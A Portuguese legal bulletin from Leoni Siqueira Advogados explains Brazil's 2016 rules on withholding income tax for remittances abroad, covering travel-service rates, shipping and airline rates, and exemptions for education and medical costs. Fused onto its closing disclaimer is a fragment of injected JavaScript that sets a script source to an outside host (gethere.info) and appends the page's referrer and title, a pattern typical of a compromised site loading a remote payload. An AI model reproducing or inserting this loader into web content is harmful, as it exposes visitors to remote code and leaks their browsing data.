IRRF – Remessas ao exterior

Por meio da Instrução Normativa RFB nº 1.611/2016, de 26 de janeiro de 2016, a Receita Federal do Brasil estabeleceu novas regras sobre a incidência do Imposto sobre a Renda Retido na Fonte (IRRF) sobre rendimentos pagos, creditados, empregados, entregues ou remetidos ao exterior.

A partir de 1º de janeiro de 2016, sujeitam-se à incidência do IRRF à alíquota de:

  1. a) 25%, os valores destinados ao pagamento de prestação de serviços decorrentes de viagens de turismo, negócios, serviço, treinamento ou missões oficiais, e se aplica às despesas com serviços turísticos, tais como despesas com hotéis, transporte, hospedagem, cruzeiros marítimos e pacotes de viagens;
  2. b) 15%, os rendimentos recebidos por companhias de navegação aérea e marítima, domiciliadas no exterior, de pessoas físicas ou jurídicas, residentes ou domiciliadas no Brasil. Destaca-se que não será exigido das companhias aéreas e marítimas domiciliadas em países que não tributam, em decorrência da legislação interna ou de acordos internacionais, os rendimentos auferidos por empresas brasileiras que exercem o mesmo tipo de atividade.

A referida Instrução Normativa prevê, ainda, a não incidência do IRRF nas remessas:

  1. a) para fins educacionais, científicos ou culturais, bem como as destinadas a pagamento de taxas escolares, taxas de inscrição em congressos, conclaves, seminários ou assemelhados e taxas de exames de proficiência. Tal determinação também se aplica às remessas para manutenção de dependentes no exterior, desde que não se trate de rendimentos auferidos pelos favorecidos;
  2. b) para cobertura de despesas médico-hospitalares com tratamento de saúde, no exterior, do remetente ou de seus dependentes.

Importante notar que a incidência do IRRF nas hipóteses acima descritas não se aplica à compras feitas com empresas aéreas ou de navegação com subsidiária no Brasil ou com cartão de crédito.

Estão sendo veiculadas notícias sobre a possibilidade de a alíquota de 25% mencionada acima ser reduzida para 6,38%, objetivando equiparar os gastos na compra de produto turístico que seja pago via remessa bancária internacional com o IOF. Informaremos caso haja qualquer alteração a este respeito.

 

Este boletim foi redigido para fins informativos apenas e não deve ser considerado uma opinião legal sobre qualquer operação específica. A reprodução do conteúdo acima depende de prévia autorização de Leoni Siqueira Advogados.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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